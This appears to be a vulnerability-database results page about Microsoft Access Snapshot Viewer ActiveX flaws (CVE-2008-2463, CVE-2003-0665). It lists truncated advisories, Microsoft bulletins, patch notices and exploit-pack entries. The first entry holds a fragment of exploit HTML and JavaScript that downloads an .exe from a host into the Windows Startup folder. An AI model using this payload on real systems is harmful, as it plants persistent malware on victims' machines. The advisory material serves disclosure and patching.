Microsoft Office Snapshot Viewer ActiveX Exploit

No description provided by source. html object classid='clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9' id='obj'/object script language='javascript' var buf1 = 'http://127.0.0.1/a.exe'; var buf2 = 'C:/Documents and Settings/All Users/「开始」菜单/程序/启动/test.exe'; obj.SnapshotPath = buf1; obj.CompressedPath...

Microsoft Access Snapshot Viewer ActiveX Control Arbitrary File Download (CVE-2008-2463)

Microsoft Snapshot Viewer is an application that allows viewing of snapshots created with any version of Microsoft Access. A remote code execution vulnerability has been discovered in the Snapshot Viewer for Microsoft Access. The vulnerability is due to an error in the Snapshot Viewer ActiveX...

CVE-2008-2463

The Microsoft Office Snapshot Viewer ActiveX control in snapview.ocx 10.0.5529.0, as distributed in the standalone Snapshot Viewer and Microsoft Office Access 2000 through 2003, allows remote attackers to download arbitrary files to a client machine via a crafted HTML document or e-mail message,...

DSquare Exploit Pack: D2SEC_SNPVW2

Name| d2secsnpvw2 ---|--- CVE| CVE-2008-2463 Exploit Pack| D2ExploitPack Description| Microsoft Office Snapshot Viewer ActiveX Vulnerability - Generic Version Notes|...

Code injection

The Microsoft Office Snapshot Viewer ActiveX control in snapview.ocx 10.0.5529.0, as distributed in the standalone Snapshot Viewer and Microsoft Office Access 2000 through 2003, allows remote attackers to download arbitrary files to a client machine via a crafted HTML document or e-mail message,...

CVE-2008-2463

CVE-2008-2463 affects the Microsoft Office Snapshot Viewer ActiveX Control (snapview.ocx) shipped with standalone Snapshot Viewer and Office Access 2000–2003. The vulnerability allows remote download of arbitrary files via crafted HTML/email, potentially enabling code execution by writing to a St...

CVE-2008-2463

The Microsoft Office Snapshot Viewer ActiveX control in snapview.ocx 10.0.5529.0, as distributed in the standalone Snapshot Viewer and Microsoft Office Access 2000 through 2003, allows remote attackers to download arbitrary files to a client machine via a crafted HTML document or e-mail message,...

Microsoft Office Snapshot Viewer ActiveX control race condition

Overview The Microsoft Office Snapshot Viewer ActiveX control contains a race condition, which can allow a remote, unauthenticated attacker to download arbitrary files to arbitrary locations. Description Microsoft Snapshot Viewer is a viewer for snapshots created with Microsoft Access. Snapshot...

CVE-2003-0665

Buffer overflow in the ActiveX control for Microsoft Access Snapshot Viewer for Access 97, 2000, and 2002 allows remote attackers to execute arbitrary code via long parameters to the control...

CVE-2003-0665

CVE-2003-0665 is a buffer overflow in the ActiveX control used by Microsoft Access Snapshot Viewer for Access 97, 2000, and 2002. The vulnerability allows remote attackers to execute arbitrary code by sending long parameters to the control. Evidence from multiple sources confirms the root cause a...

CVE-2003-0665

Buffer overflow in the ActiveX control for Microsoft Access Snapshot Viewer for Access 97, 2000, and 2002 allows remote attackers to execute arbitrary code via long parameters to the control...

Microsft Access Snapshot Viewer buffer overflow

Buffer overflow in ActiveX component marked as safe...

Microsoft Security Bulletin MS03-038: Unchecked buffer in Microsoft Access Snapshot Viewer Could Allow Code Execution(827104)

-----BEGIN PGP SIGNED MESSAGE----- - -------------------------------------------------------------------- Title: Unchecked buffer in Microsoft Access Snapshot Viewer Could Allow Code Execution 827104 Date: September 3, 2003 Software: Microsoft Access 97 Microsoft Access 2000 Microsoft Access 2002...

Microsoft Access Snapshot Viewer vulnerable to buffer overflow when validating parameters

Overview A remotely exploitable vulnerability exists in the Microsoft Access Snapshot Viewer ActiveX control. Exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the local system with the privileges of the current user. Description According to Microsoft'...

Microsoft Access 97/2000/2002 Snapshot Viewer - ActiveX Control Parameter Buffer Overflow

// source: https://www.securityfocus.com/bid/8536/info Microsoft Access Snapshot Viewer is prone to a remote buffer-overflow condition because the software fails to perform sufficient boundary checks on user-supplied parameters. Presumably, a remote attacker may be able to leverage this issue to...

Microsoft Access 9720002002 Snapshot Viewer - ActiveX Control Parameter Buffer Overflow

Microsoft Access 9720002002 Snapshot Viewer - ActiveX Control Parameter Buffer Overflow // source: https://www.securityfocus.com/bid/8536/info Microsoft Access Snapshot Viewer is prone to a remote buffer-overflow condition because the software fails to perform sufficient boundary checks on...

Security Update for Access Snapshot Viewer 2003 (KB955439)

A security vulnerability exists in the Snapshot Viewer that could allow arbitrary code to run when you open a maliciously modified web page or document. This update resolves that vulnerability...

Security Update for Access Snapshot Viewer 2002 (KB955440)

A security vulnerability exists in the Snapshot Viewer that could allow arbitrary code to run when you open a maliciously modified web page or document. This update resolves that vulnerability...